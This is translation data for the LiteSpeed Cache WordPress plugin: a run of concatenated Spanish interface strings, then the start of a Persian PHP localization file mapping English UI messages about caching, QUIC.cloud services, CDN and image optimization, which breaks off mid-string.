%sEsta acción solo debe ser usada si las cosas se están almacenando en caché incorrectamente.Esto puede ser predefinido en %2$s así como usando las constantes %1$s, tomando prioridad con esta configuración.Esto puede mejorar el tiempo de carga de la página reduciendo las peticiones HTTP iniciales.Esto puede mejorar la calidad, pero puede dar como resultado imágenes más grandes que la compresión con pérdida.Esto puede mejorar la velocidad de carga de la página.Esto puede mejorar tu puntuación de velocidad en servicios como Pingdom, GTmetrix y PageSpeed.Esto permite que la pantalla inicial de imágenes de la página se muestre completamente sin demora.Esto es irreversible.Esto es para asegurar compatibilidad antes de activar la caché para todos los sitios.Este preajuste de bajo riesgo introduce optimizaciones básicas de mejora de la velocidad de página y experiencia de usuario. Adecuado para principiantes entusiastas.Esto puede causar una alta carga en el servidor.Este mensaje indica que el plugin fue instalado por el administrador del servidor.Este preajuste sin riesgos es apropiado para todas las webs. Es bueno para nuevos usuarios, webs sencillas o desarrollos orientados a caché.Esta opción puede ayudar a corregir la variación de la caché para ciertos visitantes avanzados de dispositivos móviles o tabletas.Esta opción permite la máxima optimización para los visitantes del modo de invitado.Esta opción se omite porque la opción %1$s es %2$s.Esta opción se omite debido a la opción %s.Esta opción puede resultar en un error de JS o un problema de diseño en las páginas de portada con ciertos temas/plugins.Esta opción omitirá automáticamente la opción %s.Esta opción eliminará todas las etiquetas %s del HTML.Este preajuste es casi seguro que requerirá pruebas y exclusiones de algo de CSS, JS y carga diferida de imágenes. Presta especial atención a los logotipos, o a imágenes de carrusel basadas en HTML.Este preajuste es bueno para la mayoría de webs, y es raro que provoque conflictos. Cualquier conflicto de CSS o JS puede solucionarse con las herramientas de Optimización de página > Retoques.Este preajuste puede que funcione tal cual en algunas webs, ¡pero asegúrate de hacer pruebas! Puede que sean necesarias algunas exclusiones de CSS y JS en Optimización de página > Retoques.Este proceso es automático.¡Este ajuste es %1$s para determinadas solicitudes que cumplen los requisitos debido a %2$s!Este ajuste es útil para aquellos con multiples aplicaciones web en un mismo dominio.Este ajuste editará el archivo .htaccess.¡Este ajuste regenerará la lista de rastreadores y vaciará la lista de desactivados!Este sitio utiliza el almacenamiento en la caché para facilitar un tiempo de respuesta más rápido y una mejor experiencia de usuario. El almacenamiento en la caché, potencialmente, almacena una copia duplicada de cada página web que se muestra en este sitio. Todos los archivos de la caché son temporales y nunca acceden a ellos terceras partes, salvo cuando necesario para obtener soporte técnico del proveedor del plugin de caché. Los archivos de la caché caducan en una programación establecida por el administrador del sitio, pero pueden ser fácilmente purgados por el administrador antes de su caducidad natural, si fuese necesario. Podemos usar los servicios de QUIC.cloud para procesar y almacenar tus datos temporalmente en la caché.Este valor es sobrescrito por la variable %s.Este valor queda sobrescrito por el ajuste de red.Este valor es sobrescrito por la constante %s de PHP.Este valor es sobrescrito por el filtro.Este valor es sobrescrito por el ajuste principal del sitio.Esto solo purgará la página principalEsto solo purgará las páginasEsto afectará a todas las etiquetas que contengan atributos: %s.Esto también añadirá una preconexión a Google Fonts para establecer una conexión antes.Se va a hacer una copia de seguridad de tus ajustes actuales y reemplazarlos con los de los preajustes %1$s. ¿Quieres continuar?Esto eliminará TODO dentro de la caché.Esto borrará todos los archivos Gravatar almacenados en cachéEsto borrará todos los archivos generados de CSS críticoEsto borrará todos los archivos generados de marcador de posición de imágenes LQIPEsto borrará todos los archivos CSS únicos generadosEsto borrará todos los recursos localizadosEsto desactivará LSCache y todas las características de optimización con propósitos de depuración.Esto desactivará la página de ajustes en todos los subsitios.Esto eliminará el CSS no utilizado en cada página del archivo combinado.Esto activará el cron rastreador.Esto exportará todos los ajustes actuales de LiteSpeed Cache y los guardará como un archivo.Esto generará peticiones extra al servidor, lo cual aumentará la carga del servidor.Esto generará el marcador de posición con las mismas dimensiones que la imagen si tiene los atributos de ancho y alto.Esto importará ajustes desde un archivo y sobreescribirá todos los ajustes de LiteSpeed Cache actuales.Esto aumentará el tamaño de los archivos optimizados.Esto integrará la biblioteca CSS asíncrona para evitar el bloqueo de renderizado.Esto purgará solo las entradas CSS/JS minimizadas o combinadasEsto restablecerá todos los ajustes a su valores predeterminados.Esto restablecerá los %1$s. Si cambiaste los ajustes de WebP/AVIF y quieres generar %2$s para las imágenes previamente optimizadas, utiliza esta acción.Esto restaurará la copia de seguridad de los ajustes creada %1$s antes de aplicar el preajuste %2$s. Cualquier cambio realizado desde entonces se perderá. ¿Quieres continuar?Hora para ejecutar la solicitud anterior: %sPara rastrear una cookie en particular, introduce el nombre de la cookie y los valores que deseas rastrear. Los valores deben ser uno por línea. Se creará un rastreador por cada valor de cookie, por cada perfil simulado.Para rastrear el sitio como usuario conectado introduce los ids de usuario a imitar.Para definir un TTL personalizado añade un espacio seguido por el valor de TTL Al final de la URI.Para coincidencias exactas, añadir %s al final de la URL.Para activar la siguiente funcionalidad, activa la API de Cloudflare en la configuración de la CDN.Para excluir %1$s, insertar %2$s.Para generar un enlace de acceso sin contraseña para el equipo de soporte de LiteSpeed, debes instalar %s.Para conceder acceso a la administración de WP al equipo de soporte de LiteSpeed, por favor, genera un enlace sin contraseña para el usuario conectado actual para enviarlo con el informe.Para asegurarnos de que nuestro servidor puede comunicarse con el tuyo sin problemas y todo funciona bien, para las pocas primeras solicitudes la cantidad de grupos de imágenes permitidas en una sola petición es limitada.Para gestionar tus opciones de QUIC.cloud, ve al escritorio de QUIC.cloud.Para gestionar tus opciones de QUIC.cloud, ve al portal de tu proveedor de alojamiento.Para gestionar tus opciones de QUIC.cloud, comunícate con tu proveedor de alojamiento.Para que coincida con el principio, añade %s al comienzo del artículo.Para evitar que los %s sean almacenados en la caché, introdúcelos aquí.Para evitar que se llene el disco, este ajuste debe estar APAGADO cuando todo funcione.Para aleatorizar el hostname de la CDN, define multiples hostnames para los mismos recursos.Para probar el carrito, visita la <a %s>FAQ</a>.Para poder usar las funciones de cache debes tener un servidor LiteSpeed o estar usando la la CDN QUIC.cloud.HerramientaHerramientasTotalReducción totalUso totalTotal de imágenes optimizadas en este mesTrackbacks/pingbacksComentarios enviados a la papeleraEntradas enviadas a la papeleraProbar versión de GitHubRetoquesAjustar la configuración de CSSAjustes de los retoquesAPAGARENCENDERActívalo para almacenar en la caché las páginas públicas para los usuarios conectados y muestra la barra de administración y el formulario de comentarios mediante bloques ESI. Estos dos bloques no serán almacenados en la caché, salvo que se active a continuación.Actívalo para controlar heartbeat en el editor.Actívalo para controlar heartbeat en el escritorio.Enciéndelo para controlar heartbeat en las páginas públicas.Activar la actualización automáticaActiva OptimaX. Esto solicitará automáticamente el resultado de tus páginas OptimaX a través del trabajo cron.Activa esta opción para que LiteSpeed Cache se actualice automáticamente cuando se publique una nueva versión. Si está desactivada, tendrás que actualizar manualmente como de costumbre.Activa esta opción para mostrar automáticamente las últimas noticias, incluyendo correcciones de fallos, nuevas versiones, versiones beta disponibles y promociones.Cambia este ajuste %s si estás usando una red de entrega de contenido (CDN) tradicional o un subdominio para contenido estático con la CDN de QUIC.cloud.Vista previa del tweetTuitea estoUCCS integradoArchivos excluidos en línea de UCSSLista blanca del selector de CSS sin usoExclusiones UCSS de la URIURL excluidasLas rutas de URI que contengan estas cadenadas NO serán cacheadas como públicas.URLBuscar URLLista de URL en cola %s esperando el cronNo ha sido posible añadir automáticamente %1$s como alias de dominio para el dominio %2$s principal, debido a un conflicto potencial con la CDN.No ha sido posible añadir automáticamente %1$s como alias de dominio para el dominio %2$s principal.Se ha encontrado una regla inesperada de la caché %2$s en el archivo %1$s. Esta regla puede hacer que los visitantes vean las versiones anteriores de las páginas debido a que el navegador almacena en la caché las páginas HTML. Si tienes la seguridad de que las páginas HTML no están siendo almacenadas en la caché del navegador, puedes ignorar este mensaje. (%3$sMás información%4$s)CSS únicoError desconocidoActualizar %sActualizarActualizado con éxito.UsoEstadísticas de uso: %sUsa %1$s en %2$s para indicar que esta cookie no ha sido establecida.Usa %1$s para omitir UCSS para las páginas cuyo tipo de página es %2$s.Utiliza %1$s para saltarte la comprobación de dimensión en imágenes remotas cuando la %2$s esté ACTIVA.Usa %1$s para generar un único UCSS para las páginas cuyo tipo de página es %2$s, mientras que los otros tipos de páginas se mantienen por URL.Usar la funcionalidad de la API %s.Usar mapeo de CDNUsar ajuste de administrador de redUsar archivos optimizadosUsar archivos originalesUsar configuración del sitio principalUsa el servicio generador de marcadores de posición de imágenes de baja calidad (LQIP) de QUIC.cloud para obtener vistas previas de la imagen mientras se carga.Usa el servicio online de QUIC.cloud para generar el CSS crítico y cargar asíncronamente el CSS restante.Usar el servicio en línea QUIC.cloud para generar CSS único.Utiliza la biblioteca del cargador de fuentes web para cargar asíncronamente Google Fonts, dejando el resto del CSS intacto.Utiliza un preajuste oficial diseñado por LiteSpeed para configurar tu sitio en un clic. Pruebe el cacheo esencial sin riesgos, la optimización extrema o algo intermedio.Usa la funcionalidad de la caché de objetos externos.Utilizar conexiones keep-alive para acelerar operaciones de la caché.Usar el último commit de desarrollo de GitHubUtiliza el último commit Dev/Master de GitHubUsar el último commit maestro de GitHubUsar la última versión de WordPressUsar imágenes originales (no optimizadas) en tu webUsa el formato %1$s o %2$s (el elemento es opcional).Utiliza esta sección para cambiar la versión del plugin. Para hacer una prueba beta de un commit de GitHub, introduce la URL del commit en el campo de abajo.Útil para imágenes de la mitad superior de la página que causan CLS (una métrica de Core Web Vitals).Nombre de usuarioUsando la versión optimizada del archivo. VPIValor del filtro aplicadoRango de valoresLas variables %s serán reemplazadas por el color de fondo configurado.Las variables %s serán reemplazadas por las correspondientes propiedades de la imagen.Variar cookiesGrupos de variaciónVariante según el minicarritoVer detalles de la versión %2$s de %1$sVer el archivo «.htaccess»Ver sitio sin cachéVer sitio sin optimizarImagen de la vistaGeneración del viewport de la imagenImágenes de la vistaCron de imágenes de la vistaVisita el foro de soporte de LSCWPVisitar el sitio sin la sesión iniciada.ADVERTENCIAADVERTENCIA: La cookie de acceso del .htaccess y la cookie de acceso de la base de datos no coinciden.En esperaEsperando a ser rastreado¿Quieres conectar con otros usuarios de LiteSpeed?Ver estado del rastreadorEstamos bien. Ninguna tabla usa el motor MyISAM.Estamos trabajando duro para mejorar tu experiencia de servicio online. El servicio no estará disponible mientras trabajamos. Sentimos cualquier inconveniente.Archivo WebP reducido en %1$s (%2$s)WebP ha ahorrado un %sAtributo a reemplazar para WebP/AVIFWebP/AVIF para srcset adicionalBienvenido a LiteSpeed¿Qué es un grupo?¿Qué es un grupo de imágenes?Cuando un visitante pasa el cursor sobre un enlace a una página, precarga esa página. Esto acelera la visita a ese enlace.Al desactivar la caché, se purgarán todas las entradas almacenadas en caché de este sitio.Al activarlo, la caché se purgará automáticamente cuando cualquier plugin, tema o el núcleo de WordPress sea actualizado.Al minimizar HTML no descartes los comentarios que coincidan con un patrón especificado.Al cambiar de formato, utiliza %1$s o %2$s para aplicar esta nueva opción a las imágenes previamente optimizadas.Cuando esta opción se cambia a %s, también se cargan de forma asíncrona las fuentes de Google.Cuando usas la carga diferida, se retrasa la carga de todas las imágenes de la página.¿Quién debería usar este preajuste?¿Por qué desactivas el plugin?TTL caché de WidgetsEl comodín %1$s es compatible (compara cero o más caracteres). Por ejemplo, para igualar %2$s y %3$s, utiliza %4$s.Compatibilidad con el comodín %s.Con ESI (Edge Side Includes), las páginas pueden ser servidas desde la caché a usuarios con sesión iniciada.Con la CDN de QUIC.cloud activada, puede que todavía estés viendo las cabeceras de la caché de tu servidor local.Ajustes de WooCommerceControl de la calidad de imagen de WordPressEl intervalo válido de WordPress es de %s segundos.WpW: Caché privada o caché públicaArchivo anualActualmente estás utilizando los servicios como usuario anónimo. Para gestionar tus opciones de QUIC.cloud, utiliza el botón de abajo para crear una cuenta y acceder al escritorio de QUIC.cloud.Puedes simplemente teclear parte de dominio.Puedes listar las cookies de terceros que varían aquí.Puedes alternar rápidamente entre el uso de archivos de imágenes originales (versiones no optimizadas) y optimizadas. Afectará a todas las imágenes de tu web, tanto a las versiones normales como a las versiones webp si están disponibles.Puedes solicitar un máximo de %s imágenes de una vez.También puedes activar el almacenamiento en caché del navegador en la administración del servidor. %sObtén más información sobre los ajustes de caché del navegador de LiteSpeed%s.Puedes convertir shortcodes en bloques ESI.Puedes usar este código %1$s en %2$s para especificar la ruta al archivo «.htaccess».No puedes eliminar esta zona de DNS porque aún está en uso. Por favor, actualiza los servidores de nombers, luego tratar de borrar de nuevo esta zona, en caso contrario tu sitio será inaccesible.Tienes imágenes esperando a ser retiradas. Espera a que se complete la extracción automática o bájalas manualmente ahora.Tienes demasiadas imágenes solicitadas, inténtalo dentro de unos minutos.Has utilizado toda tu cuota diaria de hoy.Has utilizado toda la cuota que te quedaba para el servicio actual este mes.¡Acabas de desbloquear una promoción de QUIC.cloud!Debes usar uno de los siguientes productos para medir el tiempo de carga de la página:Debes configurar %1$s en %2$s antes de usar esta característica.Debes configurar %s antes de usar esta característica.Primero debes activar QC.Primero debes configurar %1$s. Usa el comando %2$s para configurarlo.Debes configurar %s en Ajustes antes de usar el rastreadorDebes activar %s y finalizar toda la generación de WebP para obtener el máximo resultado.Necesitas activar %s para obtener el máximo resultado.¡No podrás revertir la optimización una vez eliminadas las copias de seguridad!Necesitarás finalizar la configuración de %s para utilizar los servicios en línea.Tu cuota de %1$s en %2$s aún seguirá en uso.El hostname o dirección IP de tu %s.Tu clave de la API/token se usa para acceder a las API de %s.Tu dirección de email en %s.Tu IPTu solicitud está a la espera de aprobación.A tu dominio se le ha prohibido usar nuestros servicios debido a una violación de política anterior.Tu domain_key ha sido bloqueada temporalmente para evitar abusos. Puedes ponerte en contacto con el servicio de asistencia de QUIC.cloud para obtener más información.La IP de tu servidorTu sitio está conectado y listo para usar los servicios en línea de QUIC.cloud.Tu sitio está conectado y utiliza los servicios en línea de QUIC.cloud como <strong>usuario anónimo</strong>. La función CDN y ciertas funciones de los servicios de optimización no están disponibles para usuarios anónimos. Conéctate a QUIC.cloud para usar la CDN y todas las funciones de los servicios en línea disponibles.Cero, ocategoríascookiesp.ej. utiliza %1$s o %2$s.https://www.litespeedtech.comhttps://www.litespeedtech.com/products/cache-plugins/wordpress-accelerationahora mismomásno importa dónde vivan.pixelsproporciona más información aquí para ayudar al equipo de LiteSpeed con la depuración.ahora mismoejecutandosegundosetiquetasla IP autodetectada puede no ser exacta si tienes establecida una IP saliente adicional o si tienes varias IP configuradas en tu servidor.desconocidouser agentslitespeed-wp-plugin/7.5.0.1/translations/litespeed-cache-fa_IR.l10n.php000064400000530040151031165260021252 0ustar00<?php
return ['x-generator'=>'GlotPress/4.0.1','translation-revision-date'=>'2025-08-31 05:30:28+0000','plural-forms'=>'nplurals=1; plural=0;','project-id-version'=>'Plugins - LiteSpeed Cache - Stable (latest release)','language'=>'fa','messages'=>['LiteSpeed Cache is temporarily disabled until: %s.'=>'کش لایت اسپید به طور موقت تا %s غیرفعال است.','Disable All Features for 24 Hours'=>'غیرفعال کردن همه ویژگی‌ها به مدت 24 ساعت','LiteSpeed Cache is disabled. This functionality will not work.'=>'کش لایت‌اسپید غیرفعال است. این قابلیت کار نخواهد کرد.','Filter %s available to change threshold.'=>'فیلتر %s برای تغییر آستانه در دسترس است.','Scaled size threshold'=>'آستانه اندازه مقیاس‌بندی شده','Automatically replace large images with scaled versions.'=>'جایگزین کردن خودکار تصاویر بزرگ با نسخه‌های کوچک شده.','Auto Rescale Original Images'=>'تغییر مقیاس خودکار تصاویر اصلی','UCSS Inline Excluded Files'=>'فایل‌های درون‌خطی مستثنی‌شده UCSS','The QUIC.cloud connection is not correct. Please try to sync your QUIC.cloud connection again.'=>'اتصال QUIC.cloud صحیح نیست. لطفاً دوباره سعی کنید اتصال QUIC.cloud خود را همگام‌سازی کنید.','Not enough parameters. Please check if the QUIC.cloud connection is set correctly'=>'پارامترها کافی نیست. لطفاً بررسی کنید که آیا اتصال QUIC.cloud به درستی تنظیم شده است','No fields'=>'فیلدی وجود ندارد','Value from filter applied'=>'مقدار از فیلتر اعمال شده','This value is overwritten by the filter.'=>'این مقدار توسط فیلتر بازنویسی می‌شود.','This value is overwritten by the %s variable.'=>'این مقدار توسط متغیر %s بازنویسی می‌شود.','QUIC.cloud CDN'=>'QUIC.cloud CDN','Predefined list will also be combined with the above settings'=>'لیست از پیش تعریف شده نیز با تنظیمات فوق ترکیب خواهد شد','Tuning CSS Settings'=>'بهبود تنظیمات CSS','Predefined list will also be combined with the above settings.'=>'لیست از پیش تعریف شده نیز با تنظیمات فوق ترکیب خواهد شد.','Clear'=>'پاکسازی','If not, please verify the setting in the %sAdvanced tab%s.'=>'اگر اینطور نیست، لطفا تنظیمات را در %sتب پیشرفته%s بررسی کنید.','Close popup'=>'بستن پاپ آپ','Deactivate plugin'=>'غیرفعال کردن افزونه','If you have used Image Optimization, please %sDestroy All Optimization Data%s first. NOTE: this does not remove your optimized images.'=>'اگر از بهینه‌سازی تصویر استفاده کرده‌اید، لطفاً ابتدا %sپاکسازی دیتای همه بهینه‌سازی‌ها%s را انجام بدهید. توجه: این کار تصاویر بهینه‌سازی شده شما را حذف نمی‌کند.','On uninstall, all plugin settings will be deleted.'=>'با حذف نصب، تمام تنظیمات افزونه حذف خواهد شد.','Why are you deactivating the plugin?'=>'چرا افزونه رو غیرفعال می‌کنی؟','Other'=>'سایر','Plugin is too complicated'=>'افزونه خیلی پیچیده است','Site performance is worse'=>'عملکرد سایت بدتر است','The deactivation is temporary'=>'غیرفعالسازی موقتی است','Deactivate LiteSpeed Cache'=>'غیرفعال سازی کش لایت اسپید','CDN - Disabled'=>'شبکه توزیع محتوا (CDN) - غیرفعال','CDN - Enabled'=>'شبکه توزیع محتوا (CDN) - فعال','Connected Date:'=>'تاریخ اتصال:','Node:'=>'گره:','Service:'=>'سرویس:','Autoload top list'=>'لیست برتر بارگذاری خودکار','Autoload entries'=>'ورودی‌های بارگذاری خودکار','Autoload size'=>'اندازه بارگذاری خودکار','This Month Usage: %s'=>'استفاده این ماه: %s','Usage Statistics: %s'=>'آمار استفاده: %s','more'=>'بیشتر','Globally fast TTFB, easy setup, and %s!'=>'TTFB بسیار سریع جهانی، راه‌اندازی آسان و %s!','Last requested: %s'=>'آخرین درخواست: %s','Last generated: %s'=>'آخرین تولید: %s','Requested: %s ago'=>'درخواست شده: %s پیش','LiteSpeed Web ADC'=>'LiteSpeed وب ADC','OpenLiteSpeed Web Server'=>'وب سرور OpenLiteSpeed','LiteSpeed Web Server'=>'وب سرور LiteSpeed','PAYG used this month: %s. PAYG balance and usage not included in above quota calculation.'=>'PAYG استفاده‌شده در این ماه: %s. موجودی و استفاده PAYG در محاسبه سهمیه فوق لحاظ نشده است.','Last crawled:'=>'آخرین خزش:','%1$s %2$d item(s)'=>'%1$s %2$d مورد','Start watching...'=>'شروع نظارت...','Crawlers cannot run concurrently. If both the cron and a manual run start at similar times, the first to be started will take precedence.'=>'خزنده‌ها نمی‌توانند هم‌زمان اجرا شوند. اگر اجرای کرون و دستی در زمان‌های مشابه شروع شوند، اجرا شده اول برتری خواهد داشت.','Position: '=>'موقعیت: ','%d item(s)'=>'%d مورد','Last crawled'=>'آخرین خزش','Serve your visitors fast'=>'سرویس‌دهی سریع به بازدیدکنندگان شما','This will affect all tags containing attributes: %s.'=>'این بر تمام تگ‌های شامل ویژگی‌های %s تأثیر خواهد گذاشت.','%1$sLearn More%2$s'=>'%1$sبیشتر بدانید%2$s','Get it from %s.'=>'دریافت از %s.','Reset the OPcache failed.'=>'بازنشانی OPcache انجام نشد.','OPcache is restricted by %s setting.'=>'OPcache توسط تنظیمات %s محدود شده است.','OPcache is not enabled.'=>'OPcache فعال نشده است.','Enable All Features'=>'فعال‌سازی تمام ویژگی‌ها','e.g. Use %1$s or %2$s.'=>'مثلاً استفاده از %1$s یا %2$s.','Click to copy'=>'برای کپی کردن کلیک کنید','Rate %1$s on %2$s'=>'امتیازدهی به %1$s در %2$s','Clear %s cache when "Purge All" is run.'=>'پاکسازی کش %s هنگام اجرای «پاکسازی همه».','SYNTAX: alphanumeric and "_". No spaces and case sensitive.'=>'نحو: حروف و اعداد و "_". بدون فاصله و حساس به حروف بزرگ و کوچک.','SYNTAX: alphanumeric and "_". No spaces and case sensitive. MUST BE UNIQUE FROM OTHER WEB APPLICATIONS.'=>'نحو: حروف و اعداد و "_". بدون فاصله و حساس به حروف بزرگ و کوچک. باید از سایر برنامه‌های وب یکتا باشد.','Submit a ticket'=>'ارسال تیکت','Clear Cloudflare cache'=>'پاک سازی کش Cloudflare','QUIC.cloud\'s access to your WP REST API seems to be blocked.'=>'دسترسی QUIC.cloud به REST API وردپرس شما به نظر می‌رسد مسدود شده است.','Copy Log'=>'کپی لاگ','Selectors must exist in the CSS. Parent classes in the HTML will not work.'=>'سلکتورها باید در CSS موجود باشند. کلاس‌های والد در HTML کار نخواهند کرد.','List the CSS selectors whose styles should always be included in CCSS.'=>'فهرست سلکتورهای CSS که استایل‌هایشان باید همیشه در CCSS گنجانده شود.','List the CSS selectors whose styles should always be included in UCSS.'=>'فهرست سلکتورهای CSS که استایل‌هایشان باید همیشه در UCSS گنجانده شود.','Available after %d second(s)'=>'دردسترس پس از %d ثانیه','Enable QUIC.cloud Services'=>'فعال‌سازی خدمات QUIC.cloud','The features below are provided by %s'=>'ویژگی‌های زیر توسط %s ارائه می‌شوند','Do not show this again'=>'دیگر این را نمایش نده','Free monthly quota available. Can also be used anonymously (no email required).'=>'سهمیه ماهانه رایگان موجود است. همچنین می‌توان به صورت ناشناس استفاده کرد (نیازی به ایمیل ندارد).','Cloudflare Settings'=>'تنظیمات کلودفلر','Failed to detect IP'=>'شناسایی IP ناموفق بود','CCSS Selector Allowlist'=>'فهرست مجاز سلکتورهای CCSS','Outputs to a series of files in the %s directory.'=>'خروجی‌ها به مجموعه‌ای از فایل‌ها در دایرکتوری %s می‌روند','Attach PHP info to report. Check this box to insert relevant data from %s.'=>'اطلاعات PHP را به گزارش پیوست کنید. این کادر را علامت بزنید تا داده‌های مربوطه از %s وارد شود','Last Report Date'=>'آخرین تاریخ گزارش','Last Report Number'=>'آخرین شماره گزارش','Regenerate and Send a New Report'=>'تولید مجدد و ارسال یک گزارش جدید','This will reset the %1$s. If you changed WebP/AVIF settings and want to generate %2$s for the previously optimized images, use this action.'=>'این %1$s را بازنشانی خواهد کرد. اگر تنظیمات WebP/AVIF را تغییر داده‌اید و می‌خواهید %2$s را برای تصاویر بهینه‌سازی شده قبلی تولید کنید، از این اقدام استفاده کنید.','Soft Reset Optimization Counter'=>'شمارنده بهینه‌سازی بازنشانی نرم','When switching formats, please %1$s or %2$s to apply this new choice to previously optimized images.'=>'هنگام تغییر فرمت‌ها، لطفاً %1$s یا %2$s را برای اعمال این انتخاب جدید بر روی تصاویر بهینه‌سازی شده قبلی انجام دهید.','%1$s is a %2$s paid feature.'=>'%1$s یک ویژگی پرداختی %2$s است.','Remove QUIC.cloud integration from this site. Note: QUIC.cloud data will be preserved so you can re-enable services at any time. If you want to fully remove your site from QUIC.cloud, delete the domain through the QUIC.cloud Dashboard first.'=>'ادغام QUIC.cloud را از این سایت حذف کنید. توجه: داده‌های QUIC.cloud حفظ خواهد شد تا بتوانید هر زمان که خواستید خدمات را دوباره فعال کنید. اگر می‌خواهید سایت خود را به طور کامل از QUIC.cloud حذف کنید، ابتدا دامنه را از طریق داشبورد QUIC.cloud حذف کنید','Disconnect from QUIC.cloud'=>'از QUIC.cloud قطع ارتباط کنید','Are you sure you want to disconnect from QUIC.cloud? This will not remove any data from the QUIC.cloud dashboard.'=>'آیا مطمئن هستید که می‌خواهید از QUIC.cloud قطع ارتباط کنید؟ این کار هیچ داده‌ای را از داشبورد QUIC.cloud حذف نخواهد کرد','CDN - not available for anonymous users'=>'برای کاربران ناشناس در دسترس نیست','Your site is connected and using QUIC.cloud Online Services as an <strong>anonymous user</strong>. The CDN function and certain features of optimization services are not available for anonymous users. Link to QUIC.cloud to use the CDN and all available Online Services features.'=>'سایت شما متصل است و از خدمات آنلاین QUIC.cloud به عنوان <strong>کاربر ناشناس</strong> استفاده می‌کند. عملکرد CDN و برخی ویژگی‌های خدمات بهینه‌سازی برای کاربران ناشناس در دسترس نیست. به QUIC.cloud لینک دهید تا از CDN و تمام ویژگی‌های خدمات آنلاین موجود استفاده کنید','QUIC.cloud Integration Enabled with limitations'=>'ادغام QUIC.cloud با محدودیت‌ها فعال است','Your site is connected and ready to use QUIC.cloud Online Services.'=>'سایت شما متصل است و آماده استفاده از خدمات آنلاین QUIC.cloud است','QUIC.cloud Integration Enabled'=>'ادغام QUIC.cloud فعال است','In order to use most QUIC.cloud services, you need quota. QUIC.cloud gives you free quota every month, but if you need more, you can purchase it.'=>'برای استفاده از بیشتر خدمات QUIC.cloud، به سهمیه نیاز دارید. QUIC.cloud هر ماه سهمیه رایگان به شما می‌دهد، اما اگر به سهمیه بیشتری نیاز دارید، می‌توانید آن را خریداری کنید.','Offers optional <strong>built-in DNS service</strong> to simplify CDN onboarding.'=>'خدمات <strong>DNS داخلی اختیاری</strong> را برای ساده‌سازی ورود به CDN ارائه می‌دهد.','Provides <strong>security at the CDN level</strong>, protecting your server from attack.'=>'<strong>امنیت در سطح CDN</strong> را فراهم می‌کند و سرور شما را از حمله محافظت می‌کند.','Delivers global coverage with a growing <strong>network of 80+ PoPs</strong>.'=>'پوشش جهانی را با یک <strong>شبکه در حال رشد از 80+ PoP</strong> ارائه می‌دهد.','Caches your entire site, including dynamic content and <strong>ESI blocks</strong>.'=>'تمام سایت شما را کش می‌کند، از جمله محتوای پویا و <strong>بلوک‌های ESI</strong>.','Content Delivery Network'=>'شبکه تحویل محتوا','<strong>Viewport Images (VPI)</strong> provides a well-polished fully-loaded view above the fold.'=>'<strong>تصاویر نمایی (VPI)</strong> نمایی کاملاً بارگذاری شده و با کیفیت بالا در بالای صفحه ارائه می‌دهد.','<strong>Low Quality Image Placeholder (LQIP)</strong> gives your imagery a more pleasing look as it lazy loads.'=>'<strong>جایگزین تصویر با کیفیت پایین (LQIP)</strong> به تصاویر شما ظاهری دلپذیرتر می‌دهد در حالی که به‌صورت تنبل بارگذاری می‌شود.','<strong>Unique CSS (UCSS)</strong> removes unused style definitions for a speedier page load overall.'=>'<strong>CSS منحصر به فرد (UCSS)</strong> تعاریف استایل‌های استفاده نشده را برای بارگذاری سریع‌تر صفحه به‌طور کلی حذف می‌کند.','<strong>Critical CSS (CCSS)</strong> loads visible above-the-fold content faster and with full styling.'=>'<strong>CSS بحرانی (CCSS)</strong> محتوای قابل مشاهده در بالای صفحه را سریع‌تر و با استایل کامل بارگذاری می‌کند.','QUIC.cloud\'s Page Optimization services address CSS bloat, and improve the user experience during page load, which can lead to improved page speed scores.'=>'خدمات بهینه‌سازی صفحه QUIC.cloud به مشکلات CSS می‌پردازد و تجربه کاربری را در حین بارگذاری صفحه بهبود می‌بخشد که می‌تواند منجر به بهبود نمرات سرعت صفحه شود.','Processing for PNG, JPG, and WebP image formats is free. AVIF is available for a fee.'=>'پردازش فرمت‌های تصویری PNG، JPG و WebP رایگان است. AVIF با پرداخت هزینه در دسترس است','Optionally creates next-generation WebP or AVIF image files.'=>'به‌صورت اختیاری فایل‌های تصویری WebP یا AVIF نسل بعدی را ایجاد می‌کند','Processes your uploaded PNG and JPG images to produce smaller versions that don\'t sacrifice quality.'=>'تصاویر PNG و JPG آپلود شده شما را پردازش می‌کند تا نسخه‌های کوچک‌تری تولید کند که کیفیت را فدای خود نمی‌کند','QUIC.cloud\'s Image Optimization service does the following:'=>'سرویس بهینه‌سازی تصویر QUIC.cloud کارهای زیر را انجام می‌دهد:','<strong>Page Optimization</strong> streamlines page styles and visual elements for faster loading.'=>'<strong>بهینه‌سازی صفحه</strong> سبک‌ها و عناصر بصری صفحه را برای بارگذاری سریع‌تر ساده می‌کند','<strong>Image Optimization</strong> gives you smaller image file sizes that transmit faster.'=>'<strong>بهینه‌سازی تصویر</strong> اندازه فایل‌های تصویری کوچکتری به شما می‌دهد که سریع‌تر منتقل می‌شوند.','QUIC.cloud\'s Online Services improve your site in the following ways:'=>'خدمات آنلاین QUIC.cloud سایت شما را به روش‌های زیر بهبود می‌بخشد:','Speed up your WordPress site even further with QUIC.cloud Online Services and CDN.'=>'سایت وردپرس خود را با خدمات آنلاین QUIC.cloud و CDN حتی بیشتر سرعت ببخشید.','QUIC.cloud Integration Disabled'=>'ادغام QUIC.cloud غیرفعال است','QUIC.cloud Online Services'=>'خدمات آنلاین QUIC.cloud','Online Services'=>'خدمات آنلاین','Autoload'=>'بارگذاری خودکار','Refresh QUIC.cloud status'=>'بارگذاری مجدد وضعیت QUIC.cloud','Refresh'=>'بارگذاری مجدد','You must be using one of the following products in order to measure Page Load Time:'=>'شما باید یکی از محصولات زیر را برای اندازه‌گیری زمان بارگذاری صفحه استفاده کنید:','Refresh Usage'=>'به‌روزرسانی استفاده','News'=>'خبرها','You need to set the %s in Settings first before using the crawler'=>'شما ابتدا باید %s را در تنظیمات تنظیم کنید قبل از اینکه از خزنده استفاده کنید','You must set %1$s to %2$s before using this feature.'=>'شما باید %1$s را به %2$s تنظیم کنید قبل از اینکه از این ویژگی استفاده کنید','You must set %s before using this feature.'=>'شما باید %s را قبل از استفاده از این ویژگی تنظیم کنید','My QUIC.cloud Dashboard'=>'داشبورد QUIC.cloud من','You are currently using services as an anonymous user. To manage your QUIC.cloud options, use the button below to create an account and link to the QUIC.cloud Dashboard.'=>'شما در حال حاضر به عنوان یک کاربر ناشناس از خدمات استفاده می‌کنید. برای مدیریت گزینه‌های QUIC.cloud خود، از دکمه زیر برای ایجاد حساب کاربری و لینک به داشبورد QUIC.cloud استفاده کنید','To manage your QUIC.cloud options, go to QUIC.cloud Dashboard.'=>'برای مدیریت گزینه‌های QUIC.cloud خود، به داشبورد QUIC.cloud بروید','To manage your QUIC.cloud options, please contact 